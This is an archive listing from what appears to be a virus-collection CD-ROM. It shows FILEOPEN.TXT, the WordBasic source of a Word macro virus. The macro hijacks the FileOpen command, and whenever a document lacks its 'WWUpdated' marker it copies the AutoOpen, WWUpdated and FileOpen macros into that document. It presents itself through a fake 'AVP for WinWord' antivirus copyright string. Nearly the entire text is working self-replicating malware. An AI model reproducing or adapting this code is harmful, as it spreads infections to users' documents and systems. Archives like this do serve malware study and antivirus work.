home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
CCTX0297.ZIP
/
MVUPDAT7.ZIP
/
APPARITI.ZIP
/
FILEOPEN.TXT
< prev
next >
Wrap
Text File
|
1997-01-16
|
647b
|
29 lines
Macro: FileOpen
Sub MAIN
' this macro loaded in normal template as FileOpen
AVPcopyright$ = "AVP for WinWord v1.0"
sQuestion$ = "Would you like to "
Dim dlg As FileOpen
On Error Goto fail
GetCurValues dlg
Dialog dlg
FileOpen dlg
gnoi = 0
iCountMacros = CountMacros(1, 0, 0)
For i = 1 To iCountMacros
zu$ = MacroName$(i, 1)
If zu$ = "WWUpdated" Then gnoi = 1
Next i
If gnoi = 1 Then Goto fail
FileSaveAs FileName$(), .Format = 1
MacroCopy "Global:AutoOp", FileName$() + ":AutoOpen"
MacroCopy "Global:WWUpdated", FileName$() + ":WWUpdated"
MacroCopy "Global:FileOpen", FileName$() + ":DaniloffMuDaK"
fail:
End Sub